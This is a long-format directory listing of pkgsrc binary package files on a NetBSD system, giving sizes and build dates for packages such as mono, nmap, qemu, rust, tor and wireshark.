-rw-r–r– 1 root wheel 21475336 Sep 3 08:08 /usr/pkgsrc/packages/All/mingw-w64-x86_64-gcc-bootstrap-9.1.0.tgz
-rw-r–r– 1 root wheel 6938628 Sep 3 06:58 /usr/pkgsrc/packages/All/mingw-w64-x86_64-headers-6.0.0.tgz
-rw-r–r– 1 root wheel 14793 Sep 2 00:03 /usr/pkgsrc/packages/All/mklivecd-0.17.tgz
-rw-r–r– 1 root wheel 3366 Sep 4 00:36 /usr/pkgsrc/packages/All/mkmemstick-20111206.tgz
-rw-r–r– 1 root wheel 138234993 Sep 3 02:37 /usr/pkgsrc/packages/All/mono-6.0.0.313.tgz
-rw-r–r– 1 root wheel 609927 Aug 30 23:14 /usr/pkgsrc/packages/All/mozilla-rootcerts-1.0.20190306.tgz
-rw-r–r– 1 root wheel 131445 Sep 3 06:57 /usr/pkgsrc/packages/All/mpcomplex-1.1.0.tgz
-rw-r–r– 1 root wheel 645682 Aug 30 22:59 /usr/pkgsrc/packages/All/mpfr-4.0.2.tgz
-rw-r–r– 1 root wheel 349853 Sep 3 20:54 /usr/pkgsrc/packages/All/mpg123-1.25.12.tgz
-rw-r–r– 1 root wheel 1003592 Sep 3 21:46 /usr/pkgsrc/packages/All/mplayer-1.4nb1.tgz
-rw-r–r– 1 root wheel 1046138 Sep 3 00:05 /usr/pkgsrc/packages/All/mplayer-fonts-20030714nb1.tgz
-rw-r–r– 1 root wheel 4933052 Sep 3 00:06 /usr/pkgsrc/packages/All/mplayer-share-1.4nb1.tgz
-rw-r–r– 1 root wheel 801984 Sep 1 15:10 /usr/pkgsrc/packages/All/nasm-2.14.02nb1.tgz
-rw-r–r– 1 root wheel 1604621 Sep 1 00:28 /usr/pkgsrc/packages/All/ncurses-6.1nb5.tgz
-rw-r–r– 1 root wheel 27731 Aug 31 23:07 /usr/pkgsrc/packages/All/netcat-1.10nb3.tgz
-rw-r–r– 1 root wheel 8304608 Sep 1 21:41 /usr/pkgsrc/packages/All/nettle-3.5.1.tgz
-rw-r–r– 1 root wheel 97295 Aug 30 23:52 /usr/pkgsrc/packages/All/ninja-build-1.9.0nb1.tgz
-rw-r–r– 1 root wheel 3673441 Aug 31 22:49 /usr/pkgsrc/packages/All/nmap-7.70nb1.tgz
-rw-r–r– 1 root wheel 3684867 Aug 31 23:01 /usr/pkgsrc/packages/All/nmap-7.80nb1.tgz
-rw-r–r– 1 root wheel 10358671 Sep 1 15:07 /usr/pkgsrc/packages/All/nodejs-10.16.3.tgz
-rw-r–r– 1 root wheel 19366 Sep 4 00:08 /usr/pkgsrc/packages/All/npth-1.6.tgz
-rw-r–r– 1 root wheel 399397 Sep 2 02:52 /usr/pkgsrc/packages/All/nspr-4.21nb1.tgz
-rw-r–r– 1 root wheel 3084544 Sep 2 02:58 /usr/pkgsrc/packages/All/nss-3.45nb1.tgz
-rw-r–r– 1 root wheel 245537 Sep 1 21:14 /usr/pkgsrc/packages/All/ntfsprogs-2017.3.23.tgz
-rw-r–r– 1 root wheel 1368950 Sep 4 06:51 /usr/pkgsrc/packages/All/openal-soft-1.19.1.tgz
-rw-r–r– 1 root wheel 1993143 Sep 1 12:57 /usr/pkgsrc/packages/All/openjade-1.3.2nb14.tgz
-rw-r–r– 1 root wheel 197654516 Sep 2 23:57 /usr/pkgsrc/packages/All/openjdk-bin-12.0.1.tgz
-rw-r–r– 1 root wheel 101488337 Sep 2 23:29 /usr/pkgsrc/packages/All/openjdk8-1.8.222.tgz
-rw-r–r– 1 root wheel 520845 Aug 31 23:21 /usr/pkgsrc/packages/All/openjpeg-2.3.1.tgz
-rw-r–r– 1 root wheel 2441922 Sep 1 12:52 /usr/pkgsrc/packages/All/opensp-1.5.2nb8.tgz
-rw-r–r– 1 root wheel 19405195 Sep 1 20:20 /usr/pkgsrc/packages/All/opera-12.16.tgz
-rw-r–r– 1 root wheel 113936 Sep 3 20:57 /usr/pkgsrc/packages/All/opusfile-0.11.tgz
-rw-r–r– 1 root wheel 492559 Sep 4 06:53 /usr/pkgsrc/packages/All/orc-0.4.29.tgz
-rw-r–r– 1 root wheel 3338 Aug 30 20:02 /usr/pkgsrc/packages/All/osabi-NetBSD-8.1.tgz
-rw-r–r– 1 root wheel 8235193 Sep 1 21:45 /usr/pkgsrc/packages/All/p11-kit-0.23.15.tgz
-rw-r–r– 1 root wheel 30943 Sep 1 11:21 /usr/pkgsrc/packages/All/p5-Authen-SASL-2.16nb7.tgz
-rw-r–r– 1 root wheel 7459 Sep 1 11:16 /usr/pkgsrc/packages/All/p5-Digest-HMAC-1.03nb9.tgz
-rw-r–r– 1 root wheel 14288 Sep 1 11:18 /usr/pkgsrc/packages/All/p5-Email-Valid-1.202nb3.tgz
-rw-r–r– 1 root wheel 18139 Sep 1 11:15 /usr/pkgsrc/packages/All/p5-Error-0.17027nb1.tgz
-rw-r–r– 1 root wheel 47794 Sep 1 11:21 /usr/pkgsrc/packages/All/p5-GSSAPI-0.28nb10.tgz
-rw-r–r– 1 root wheel 11185 Sep 1 11:18 /usr/pkgsrc/packages/All/p5-IO-CaptureOutput-1.11.04nb5.tgz
-rw-r–r– 1 root wheel 12425 Sep 1 11:17 /usr/pkgsrc/packages/All/p5-IO-Socket-INET6-2.72nb5.tgz
-rw-r–r– 1 root wheel 179299 Sep 1 11:20 /usr/pkgsrc/packages/All/p5-IO-Socket-SSL-2.060nb1.tgz
-rw-r–r– 1 root wheel 502512 Sep 1 22:10 /usr/pkgsrc/packages/All/p5-Locale-libintl-1.31.tgz
-rw-r–r– 1 root wheel 59681 Sep 1 11:16 /usr/pkgsrc/packages/All/p5-MailTools-2.20nb2.tgz
-rw-r–r– 1 root wheel 140549 Sep 1 11:20 /usr/pkgsrc/packages/All/p5-Mozilla-CA-20180117nb2.tgz
-rw-r–r– 1 root wheel 96312 Sep 1 11:16 /usr/pkgsrc/packages/All/p5-Net-3.11nb2.tgz
-rw-r–r– 1 root wheel 198133 Sep 1 11:17 /usr/pkgsrc/packages/All/p5-Net-DNS-1.20nb1.tgz
-rw-r–r– 1 root wheel 32877 Sep 1 11:17 /usr/pkgsrc/packages/All/p5-Net-Domain-TLD-1.75nb3.tgz
-rw-r–r– 1 root wheel 29361 Sep 1 11:16 /usr/pkgsrc/packages/All/p5-Net-IP-1.26nb7.tgz
-rw-r–r– 1 root wheel 20235 Sep 1 11:18 /usr/pkgsrc/packages/All/p5-Net-LibIDN-0.12nb11.tgz
-rw-r–r– 1 root wheel 6283 Sep 1 11:21 /usr/pkgsrc/packages/All/p5-Net-SMTP-SSL-1.04nb3.tgz
-rw-r–r– 1 root wheel 343612 Sep 1 11:20 /usr/pkgsrc/packages/All/p5-Net-SSLeay-1.85nb2.tgz
-rw-r–r– 1 root wheel 20707 Sep 1 11:17 /usr/pkgsrc/packages/All/p5-Socket6-0.29nb1.tgz
-rw-r–r– 1 root wheel 11086 Sep 1 11:18 /usr/pkgsrc/packages/All/p5-Sub-Uplevel-0.2800nb3.tgz
-rw-r–r– 1 root wheel 12037 Sep 1 11:19 /usr/pkgsrc/packages/All/p5-Test-Exception-0.43nb4.tgz
-rw-r–r– 1 root wheel 9478 Sep 1 11:19 /usr/pkgsrc/packages/All/p5-Test-NoWarnings-1.04nb9.tgz
-rw-r–r– 1 root wheel 272950 Sep 1 11:19 /usr/pkgsrc/packages/All/p5-Test-Simple-1.302164nb1.tgz
-rw-r–r– 1 root wheel 11690 Sep 1 11:19 /usr/pkgsrc/packages/All/p5-Test-Warn-0.36nb2.tgz
-rw-r–r– 1 root wheel 32375 Sep 1 11:16 /usr/pkgsrc/packages/All/p5-TimeDate-2.30nb6.tgz
-rw-r–r– 1 root wheel 214231 Aug 30 22:46 /usr/pkgsrc/packages/All/p5-XML-Parser-2.44nb5.tgz
-rw-r–r– 1 root wheel 14305 Aug 30 22:47 /usr/pkgsrc/packages/All/p5-gettext-1.07nb4.tgz
-rw-r–r– 1 root wheel 470371 Sep 2 20:57 /usr/pkgsrc/packages/All/pango-1.44.5.tgz
-rw-r–r– 1 root wheel 1281410 Sep 4 00:01 /usr/pkgsrc/packages/All/parallel-20160822nb2.tgz
-rw-r–r– 1 root wheel 1215157 Aug 30 23:57 /usr/pkgsrc/packages/All/pcre-8.43.tgz
-rw-r–r– 1 root wheel 2046703 Sep 1 11:28 /usr/pkgsrc/packages/All/pcre2-10.33.tgz
-rw-r–r– 1 root wheel 18388739 Aug 30 19:45 /usr/pkgsrc/packages/All/perl-5.30.0.tgz
-rw-r–r– 1 root wheel 222757 Sep 2 20:15 /usr/pkgsrc/packages/All/physfs-3.0.2.tgz
-rw-r–r– 1 root wheel 98220 Sep 4 00:07 /usr/pkgsrc/packages/All/pinentry-1.1.0.tgz
-rw-r–r– 1 root wheel 88691 Aug 30 20:02 /usr/pkgsrc/packages/All/pkgconf-1.6.0.tgz
-rw-r–r– 1 root wheel 380712 Aug 31 03:22 /usr/pkgsrc/packages/All/png-1.6.37.tgz
-rw-r–r– 1 root wheel 252203 Sep 3 01:23 /usr/pkgsrc/packages/All/polkit-0.115nb3.tgz
-rw-r–r– 1 root wheel 7285934 Sep 3 22:45 /usr/pkgsrc/packages/All/poppler-0.79.0.tgz
-rw-r–r– 1 root wheel 1595069 Sep 3 22:53 /usr/pkgsrc/packages/All/poppler-glib-0.79.0.tgz
-rw-r–r– 1 root wheel 5782 Sep 1 13:19 /usr/pkgsrc/packages/All/postgresql11-11.5.tgz
-rw-r–r– 1 root wheel 4857221 Sep 1 12:44 /usr/pkgsrc/packages/All/postgresql11-client-11.5.tgz
-rw-r–r– 1 root wheel 3038338 Sep 1 13:04 /usr/pkgsrc/packages/All/postgresql11-docs-11.5.tgz
-rw-r–r– 1 root wheel 6833678 Sep 1 13:18 /usr/pkgsrc/packages/All/postgresql11-server-11.5.tgz
-rw-r–r– 1 root wheel 124074 Sep 2 20:50 /usr/pkgsrc/packages/All/potrace-1.15.tgz
-rw-r–r– 1 root wheel 628896 Sep 1 20:07 /usr/pkgsrc/packages/All/privoxy-3.0.26nb2.tgz
-rw-r–r– 1 root wheel 3919928 Sep 3 02:00 /usr/pkgsrc/packages/All/pulseaudio-12.2nb6.tgz
-rw-r–r– 1 root wheel 8737 Sep 4 00:26 /usr/pkgsrc/packages/All/py-gobject3-common-3.28.3.tgz
-rw-r–r– 1 root wheel 24743 Sep 1 19:35 /usr/pkgsrc/packages/All/py27-cElementTree-2.7.16.tgz
-rw-r–r– 1 root wheel 681001 Sep 1 19:34 /usr/pkgsrc/packages/All/py27-crypto-2.6.1nb3.tgz
-rw-r–r– 1 root wheel 89131 Sep 1 19:35 /usr/pkgsrc/packages/All/py27-distorm3-3.4.1.tgz
-rw-r–r– 1 root wheel 23415 Aug 30 23:20 /usr/pkgsrc/packages/All/py27-expat-2.7.16.tgz
-rw-r–r– 1 root wheel 385449 Aug 30 23:21 /usr/pkgsrc/packages/All/py27-libxml2-2.9.9.tgz
-rw-r–r– 2 root wheel 66372 Aug 30 23:21 /usr/pkgsrc/packages/All/py27-libxslt-1.1.33nb1.tgz
-rw-r–r– 1 root wheel 4678104 Sep 1 14:11 /usr/pkgsrc/packages/All/py27-mxDateTime-3.2.9.tgz
-rw-r–r– 1 root wheel 1255149 Sep 1 19:35 /usr/pkgsrc/packages/All/py27-setuptools-41.1.0.tgz
-rw-r–r– 1 root wheel 30394 Sep 1 14:11 /usr/pkgsrc/packages/All/py27-sqlite-1.0.1nb3.tgz
-rw-r–r– 1 root wheel 163098 Sep 2 00:22 /usr/pkgsrc/packages/All/py37-OpenSSL-19.0.0.tgz
-rw-r–r– 1 root wheel 28221 Sep 2 00:23 /usr/pkgsrc/packages/All/py37-Socks-1.7.0.tgz
-rw-r–r– 1 root wheel 14557 Sep 2 00:13 /usr/pkgsrc/packages/All/py37-alabaster-0.7.12.tgz
-rw-r–r– 2 root wheel 46367 Aug 30 23:40 /usr/pkgsrc/packages/All/py37-anytree-2.6.0.tgz
-rw-r–r– 1 root wheel 289394 Sep 2 00:20 /usr/pkgsrc/packages/All/py37-asn1crypto-0.24.0.tgz
-rw-r–r– 1 root wheel 85068 Sep 2 00:19 /usr/pkgsrc/packages/All/py37-attrs-19.1.0.tgz
-rw-r–r– 1 root wheel 8343708 Sep 2 00:14 /usr/pkgsrc/packages/All/py37-babel-2.7.0.tgz
-rw-r–r– 1 root wheel 29802 Aug 31 02:50 /usr/pkgsrc/packages/All/py37-cElementTree-3.7.4.tgz
-rw-r–r– 1 root wheel 83479 Sep 4 00:26 /usr/pkgsrc/packages/All/py37-cairo-1.18.1.tgz
-rw-r–r– 1 root wheel 157091 Sep 2 00:23 /usr/pkgsrc/packages/All/py37-certifi-2019.6.16.tgz
-rw-r–r– 1 root wheel 339422 Sep 2 00:21 /usr/pkgsrc/packages/All/py37-cffi-1.12.3.tgz
-rw-r–r– 1 root wheel 248943 Sep 2 00:23 /usr/pkgsrc/packages/All/py37-chardet-3.0.4.tgz
-rw-r–r– 1 root wheel 295705 Sep 2 00:20 /usr/pkgsrc/packages/All/py37-cparser-2.19.tgz
-rw-r–r– 1 root wheel 580880 Sep 2 00:22 /usr/pkgsrc/packages/All/py37-cryptography-2.7.tgz
-rw-r–r– 1 root wheel 1186464 Sep 2 00:18 /usr/pkgsrc/packages/All/py37-docutils-0.15.2.tgz
-rw-r–r– 1 root wheel 24981 Aug 30 23:25 /usr/pkgsrc/packages/All/py37-expat-3.7.4.tgz
-rw-r–r– 1 root wheel 477546 Sep 4 00:28 /usr/pkgsrc/packages/All/py37-gobject3-3.28.3nb1.tgz
-rw-r–r– 1 root wheel 150181 Sep 2 00:21 /usr/pkgsrc/packages/All/py37-idna-2.8.tgz
-rw-r–r– 1 root wheel 7883 Sep 2 00:19 /usr/pkgsrc/packages/All/py37-imagesize-1.1.0.tgz
-rw-r–r– 1 root wheel 332924 Sep 2 00:19 /usr/pkgsrc/packages/All/py37-jinja2-2.10.1.tgz
-rw-r–r– 1 root wheel 391303 Aug 30 23:26 /usr/pkgsrc/packages/All/py37-libxml2-2.9.9.tgz
-rw-r–r– 2 root wheel 1946455 Aug 30 23:45 /usr/pkgsrc/packages/All/py37-lxml-4.4.1.tgz
-rw-r–r– 1 root wheel 25726 Sep 2 00:19 /usr/pkgsrc/packages/All/py37-markupsafe-1.1.1.tgz
-rw-r–r– 1 root wheel 1425703 Aug 30 23:52 /usr/pkgsrc/packages/All/py37-meson-0.51.1nb4.tgz
-rw-r–r– 1 root wheel 48524 Sep 2 00:20 /usr/pkgsrc/packages/All/py37-packaging-19.1nb1.tgz
-rw-r–r– 1 root wheel 2863196 Sep 1 14:52 /usr/pkgsrc/packages/All/py37-pip-19.2.2.tgz
-rw-r–r– 1 root wheel 1962303 Aug 30 23:46 /usr/pkgsrc/packages/All/py37-pygments-2.4.2.tgz
-rw-r–r– 1 root wheel 230819 Sep 2 00:20 /usr/pkgsrc/packages/All/py37-pyparsing-2.4.2.tgz
-rw-r–r– 1 root wheel 329847 Sep 2 00:14 /usr/pkgsrc/packages/All/py37-pytz-2019.2.tgz
-rw-r–r– 1 root wheel 109447 Sep 2 00:24 /usr/pkgsrc/packages/All/py37-requests-2.22.0.tgz
-rw-r–r– 1 root wheel 5495 Sep 2 00:15 /usr/pkgsrc/packages/All/py37-roman-3.2.tgz
-rw-r–r– 1 root wheel 1315796 Sep 4 00:25 /usr/pkgsrc/packages/All/py37-scons-3.0.5.tgz
-rw-r–r– 1 root wheel 186119 Sep 4 00:29 /usr/pkgsrc/packages/All/py37-serial-3.4.tgz
-rw-r–r– 1 root wheel 1248506 Aug 30 23:39 /usr/pkgsrc/packages/All/py37-setuptools-41.1.0.tgz
-rw-r–r– 1 root wheel 23853 Aug 30 23:39 /usr/pkgsrc/packages/All/py37-six-1.12.0.tgz
-rw-r–r– 1 root wheel 260504 Sep 2 00:24 /usr/pkgsrc/packages/All/py37-snowballstemmer-1.9.0.tgz
-rw-r–r– 1 root wheel 3765857 Sep 2 00:25 /usr/pkgsrc/packages/All/py37-sphinx-1.8.5nb2.tgz
-rw-r–r– 1 root wheel 43083 Sep 2 00:24 /usr/pkgsrc/packages/All/py37-sphinxcontrib-websupport-1.1.0.tgz
-rw-r–r– 1 root wheel 37113 Sep 1 14:14 /usr/pkgsrc/packages/All/py37-sqlite3-3.7.4nb15.tgz
-rw-r–r– 1 root wheel 263764 Sep 2 00:23 /usr/pkgsrc/packages/All/py37-urllib3-1.25.3.tgz
-rw-r–r– 1 root wheel 18597578 Aug 30 23:20 /usr/pkgsrc/packages/All/python27-2.7.16.tgz
-rw-r–r– 1 root wheel 25872859 Aug 30 22:45 /usr/pkgsrc/packages/All/python37-3.7.4.tgz
-rw-r–r– 1 root wheel 99838699 Sep 2 09:17 /usr/pkgsrc/packages/All/qemu-4.1.0nb1.tgz
-rw-r–r– 1 root wheel 27968851 Sep 4 03:19 /usr/pkgsrc/packages/All/qt5-qtbase-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 6678934 Sep 4 05:56 /usr/pkgsrc/packages/All/qt5-qtdeclarative-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 1839363 Sep 4 06:49 /usr/pkgsrc/packages/All/qt5-qtlocation-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 1182759 Sep 4 07:52 /usr/pkgsrc/packages/All/qt5-qtmultimedia-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 261069 Sep 4 08:02 /usr/pkgsrc/packages/All/qt5-qtsensors-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 54169 Sep 4 05:58 /usr/pkgsrc/packages/All/qt5-qtserialport-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 194943 Sep 4 03:23 /usr/pkgsrc/packages/All/qt5-qtsvg-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 8051738 Sep 4 09:49 /usr/pkgsrc/packages/All/qt5-qttools-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 81797 Sep 4 08:13 /usr/pkgsrc/packages/All/qt5-qtwebchannel-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 115325 Sep 4 08:09 /usr/pkgsrc/packages/All/qt5-qtwebsockets-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 15336 Sep 4 09:50 /usr/pkgsrc/packages/All/qt5-qtx11extras-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 1803858 Sep 4 04:00 /usr/pkgsrc/packages/All/qt5-qtxmlpatterns-5.13.0nb1.tgz
-rw-r–r– 1 root wheel 2349335 Sep 3 23:37 /usr/pkgsrc/packages/All/quake2forge-0.3nb5.tgz
-rw-r–r– 2 root wheel 231863 Aug 31 02:47 /usr/pkgsrc/packages/All/rarian-0.8.1nb4.tgz
-rw-r–r– 1 root wheel 198340 Aug 30 23:50 /usr/pkgsrc/packages/All/re2c-1.1.1.tgz
-rw-r–r– 1 root wheel 524429 Aug 30 22:34 /usr/pkgsrc/packages/All/readline-8.0.tgz
-rw-r–r– 1 root wheel 320056 Aug 31 03:41 /usr/pkgsrc/packages/All/rhash-1.3.8.tgz
-rw-r–r– 1 root wheel 11887 Sep 1 20:18 /usr/pkgsrc/packages/All/rpm2pkg-3.2.3.tgz
-rw-r–r– 2 root wheel 903341 Sep 1 15:17 /usr/pkgsrc/packages/All/ruby24-activesupport42-4.2.11.1.tgz
-rw-r–r– 1 root wheel 14789530 Sep 1 14:59 /usr/pkgsrc/packages/All/ruby24-base-2.4.6.tgz
-rw-r–r– 1 root wheel 1123370 Sep 1 15:04 /usr/pkgsrc/packages/All/ruby24-bundler-1.17.3.tgz
-rw-r–r– 2 root wheel 1001563 Sep 1 15:15 /usr/pkgsrc/packages/All/ruby24-concurrent-ruby-1.1.5.tgz
-rw-r–r– 2 root wheel 136650 Sep 1 15:19 /usr/pkgsrc/packages/All/ruby24-diff-lcs-1.3.tgz
-rw-r–r– 1 root wheel 31145 Sep 1 15:00 /usr/pkgsrc/packages/All/ruby24-docile-1.3.1.tgz
-rw-r–r– 2 root wheel 142427 Sep 1 15:16 /usr/pkgsrc/packages/All/ruby24-i18n12-1.2.0.tgz
-rw-r–r– 2 root wheel 273985 Sep 1 15:18 /usr/pkgsrc/packages/All/ruby24-railties42-4.2.11.1.tgz
-rw-r–r– 1 root wheel 540248 Sep 1 15:13 /usr/pkgsrc/packages/All/ruby24-rspec-core-3.8.0.tgz
-rw-r–r– 2 root wheel 295550 Sep 1 15:19 /usr/pkgsrc/packages/All/ruby24-rspec-expectations-3.8.3.tgz
-rw-r–r– 2 root wheel 280627 Sep 1 15:20 /usr/pkgsrc/packages/All/ruby24-rspec-mocks-3.8.0.tgz
-rw-r–r– 1 root wheel 180831 Sep 1 15:20 /usr/pkgsrc/packages/All/ruby24-rspec-rails-3.8.2.tgz
-rw-r–r– 2 root wheel 117393 Sep 1 15:12 /usr/pkgsrc/packages/All/ruby24-rspec-support-3.8.0.tgz
-rw-r–r– 1 root wheel 108828 Sep 1 15:00 /usr/pkgsrc/packages/All/ruby24-simplecov-0.16.1.tgz
-rw-r–r– 1 root wheel 370030 Sep 1 15:00 /usr/pkgsrc/packages/All/ruby24-simplecov-html-0.10.2.tgz
-rw-r–r– 2 root wheel 173940 Sep 1 15:18 /usr/pkgsrc/packages/All/ruby24-thor-0.20.3.tgz
-rw-r–r– 2 root wheel 280368 Sep 1 15:16 /usr/pkgsrc/packages/All/ruby24-thread_safe-0.3.6nb1.tgz
-rw-r–r– 2 root wheel 372472 Sep 1 15:16 /usr/pkgsrc/packages/All/ruby24-tzinfo1-1.2.5.tgz
-rw-r–r– 1 root wheel 1304 Sep 1 12:25 /usr/pkgsrc/packages/All/ruby26-2.6.3.tgz
-rw-r–r– 1 root wheel 10700771 Sep 1 12:22 /usr/pkgsrc/packages/All/ruby26-base-2.6.3.tgz
-rw-r–r– 1 root wheel 29125 Sep 1 12:24 /usr/pkgsrc/packages/All/ruby26-fiddle-2.6.3.tgz
-rw-r–r– 1 root wheel 13533 Sep 1 12:24 /usr/pkgsrc/packages/All/ruby26-gdbm-2.6.3.tgz
-rw-r–r– 1 root wheel 21572 Sep 1 12:24 /usr/pkgsrc/packages/All/ruby26-readline-2.6.3.tgz
-rw-r–r– 1 root wheel 202571923 Sep 1 11:52 /usr/pkgsrc/packages/All/rust-1.36.0nb2.tgz
-rw-r–r– 1 root wheel 100218 Sep 3 23:28 /usr/pkgsrc/packages/All/rxvt-2.7.10nb7.tgz
-rw-r–r– 1 root wheel 1378563 Sep 3 23:26 /usr/pkgsrc/packages/All/rxvt-unicode-9.22nb5.tgz
-rw-r–r– 1 root wheel 52672 Sep 4 20:42 /usr/pkgsrc/packages/All/screenfetch-3.8.0.tgz
-rw-r–r– 2 root wheel 21941 Sep 4 20:42 /usr/pkgsrc/packages/All/scrot-1.2.tgz
-rw-r–r– 1 root wheel 18781801 Sep 3 20:48 /usr/pkgsrc/packages/All/scummvm-2.0.0.tgz
-rw-r–r– 1 root wheel 1122965 Aug 31 03:14 /usr/pkgsrc/packages/All/shared-mime-info-1.10.tgz
-rw-r–r– 1 root wheel 21247415 Sep 3 08:40 /usr/pkgsrc/packages/All/simh-4.0.0.20180919.tgz
-rw-r–r– 1 root wheel 231238 Sep 2 20:17 /usr/pkgsrc/packages/All/smpeg-0.4.4nb17.tgz
-rw-r–r– 1 root wheel 28578 Sep 2 06:52 /usr/pkgsrc/packages/All/snappy-1.1.7.tgz
-rw-r–r– 2 root wheel 1700007 Aug 31 02:47 /usr/pkgsrc/packages/All/source-highlight-3.1.8nb10.tgz
-rw-r–r– 1 root wheel 566752 Sep 2 20:11 /usr/pkgsrc/packages/All/speex-1.2.0.tgz
-rw-r–r– 1 root wheel 509106 Sep 3 01:29 /usr/pkgsrc/packages/All/speexdsp-1.2.0.tgz
-rw-r–r– 1 root wheel 7981724 Sep 3 01:20 /usr/pkgsrc/packages/All/spidermonkey52-52.7.4nb11.tgz
-rw-r–r– 1 root wheel 436721 Sep 1 14:09 /usr/pkgsrc/packages/All/sqlite-2.8.17nb1.tgz
-rw-r–r– 1 root wheel 157519 Sep 1 21:28 /usr/pkgsrc/packages/All/squashfs-4.3nb2.tgz
-rw-r–r– 1 root wheel 10470 Sep 4 00:08 /usr/pkgsrc/packages/All/sshpass-1.06.tgz
-rw-r–r– 1 root wheel 57555 Sep 3 23:02 /usr/pkgsrc/packages/All/startup-notification-0.12nb3.tgz
-rw-r–r– 1 root wheel 214916 Sep 1 19:38 /usr/pkgsrc/packages/All/stunnel-5.55nb1.tgz
-rw-r–r– 1 root wheel 633740 Sep 4 00:16 /usr/pkgsrc/packages/All/sudo-1.8.27.tgz
-rw-r–r– 1 root wheel 8745774 Sep 1 20:18 /usr/pkgsrc/packages/All/suse_base-13.1nb15.tgz
-rw-r–r– 1 root wheel 252917 Sep 2 23:54 /usr/pkgsrc/packages/All/suse_compat-13.1.tgz
-rw-r–r– 1 root wheel 66175 Sep 1 20:19 /usr/pkgsrc/packages/All/suse_expat-13.1.tgz
-rw-r–r– 1 root wheel 427160 Sep 1 20:19 /usr/pkgsrc/packages/All/suse_fontconfig-13.1nb1.tgz
-rw-r–r– 1 root wheel 436399 Sep 1 20:19 /usr/pkgsrc/packages/All/suse_freetype2-13.1nb2.tgz
-rw-r–r– 1 root wheel 1305168 Sep 1 20:34 /usr/pkgsrc/packages/All/suse_glib2-13.1nb1.tgz
-rw-r–r– 1 root wheel 29635804 Sep 1 20:35 /usr/pkgsrc/packages/All/suse_glx-13.1nb5.tgz
-rw-r–r– 1 root wheel 5820753 Sep 1 20:36 /usr/pkgsrc/packages/All/suse_gtk2-13.1nb9.tgz
-rw-r–r– 1 root wheel 118939 Sep 1 20:34 /usr/pkgsrc/packages/All/suse_libdrm-13.1.tgz
-rw-r–r– 1 root wheel 19940 Sep 1 20:34 /usr/pkgsrc/packages/All/suse_libffi-13.1.tgz
-rw-r–r– 1 root wheel 217306 Sep 1 20:35 /usr/pkgsrc/packages/All/suse_libjpeg-13.1nb1.tgz
-rw-r–r– 1 root wheel 211468 Sep 1 20:19 /usr/pkgsrc/packages/All/suse_libpng-13.1nb5.tgz
-rw-r–r– 1 root wheel 207640 Sep 1 20:35 /usr/pkgsrc/packages/All/suse_libtiff-13.1nb3.tgz
-rw-r–r– 1 root wheel 704690 Sep 1 20:35 /usr/pkgsrc/packages/All/suse_libxml2-13.1nb4.tgz
-rw-r–r– 1 root wheel 28328006 Sep 2 23:55 /usr/pkgsrc/packages/All/suse_locale-13.1nb4.tgz
-rw-r–r– 1 root wheel 2539566 Sep 1 20:18 /usr/pkgsrc/packages/All/suse_x11-13.1nb7.tgz
-rw-r–r– 1 root wheel 497771 Sep 1 22:12 /usr/pkgsrc/packages/All/texi2html-5.0nb8.tgz
-rw-r–r– 1 root wheel 1110098 Aug 31 03:21 /usr/pkgsrc/packages/All/tiff-4.0.10nb1.tgz
-rw-r–r– 1 root wheel 700253 Sep 3 21:23 /usr/pkgsrc/packages/All/tightvnc-1.3.10nb17.tgz
-rw-r–r– 1 root wheel 59508 Sep 3 21:39 /usr/pkgsrc/packages/All/tightvncviewer-1.3.10nb2.tgz
-rw-r–r– 1 root wheel 3622750 Sep 1 20:06 /usr/pkgsrc/packages/All/tor-0.4.1.5.tgz
-rw-r–r– 1 root wheel 91787 Sep 3 23:56 /usr/pkgsrc/packages/All/torsocks-2.3.0.tgz
-rw-r–r– 1 root wheel 32655 Sep 3 21:18 /usr/pkgsrc/packages/All/tradcpp-0.5.3.tgz
-rw-r–r– 1 root wheel 36233 Sep 2 20:17 /usr/pkgsrc/packages/All/ttmkfdir2-20021109nb6.tgz
-rw-r–r– 1 root wheel 6327 Sep 4 00:43 /usr/pkgsrc/packages/All/unix2dos-1.3.tgz
-rw-r–r– 1 root wheel 159239 Sep 2 20:18 /usr/pkgsrc/packages/All/unzip-6.0nb9.tgz
-rw-r–r– 1 root wheel 7292181 Sep 4 00:24 /usr/pkgsrc/packages/All/volatility-2.4nb1.tgz
-rw-r–r– 1 root wheel 1128030 Sep 4 03:25 /usr/pkgsrc/packages/All/w3m-0.5.3.0.20180125nb3.tgz
-rw-r–r– 1 root wheel 1192454 Aug 31 22:30 /usr/pkgsrc/packages/All/wget-1.20.3nb3.tgz
-rw-r–r– 1 root wheel 49061642 Sep 2 23:49 /usr/pkgsrc/packages/All/wine-1.9.18nb19.tgz
-rw-r–r– 1 root wheel 32587233 Sep 4 20:01 /usr/pkgsrc/packages/All/wireshark-3.0.3nb3.tgz
-rw-r–r– 1 root wheel 51975 Aug 30 20:03 /usr/pkgsrc/packages/All/x11-links-1.29.tgz
-rw-r–r– 1 root wheel 51716 Sep 2 02:59 /usr/pkgsrc/packages/All/x11-links-1.30.tgz
-rw-r–r– 1 root wheel 2504295 Sep 2 06:51 /usr/pkgsrc/packages/All/x264-devel-20190312nb1.tgz
-rw-r–r– 1 root wheel 19338 Sep 3 23:02 /usr/pkgsrc/packages/All/xcb-util-0.4.0.tgz
-rw-r–r– 1 root wheel 23287 Sep 4 00:40 /usr/pkgsrc/packages/All/xcb-util-image-0.4.0.tgz
-rw-r–r– 1 root wheel 9517 Sep 4 00:41 /usr/pkgsrc/packages/All/xcb-util-keysyms-0.4.0.tgz
-rw-r–r– 1 root wheel 13580 Sep 4 00:41 /usr/pkgsrc/packages/All/xcb-util-renderutil-0.3.9.tgz
-rw-r–r– 1 root wheel 60014 Sep 4 00:42 /usr/pkgsrc/packages/All/xcb-util-wm-0.4.1.tgz
-rw-r–r– 1 root wheel 65078 Sep 4 03:25 /usr/pkgsrc/packages/All/xdg-utils-1.1.3nb1.tgz
-rw-r–r– 1 root wheel 265856 Sep 3 23:01 /usr/pkgsrc/packages/All/xfce4-conf-4.14.1.tgz
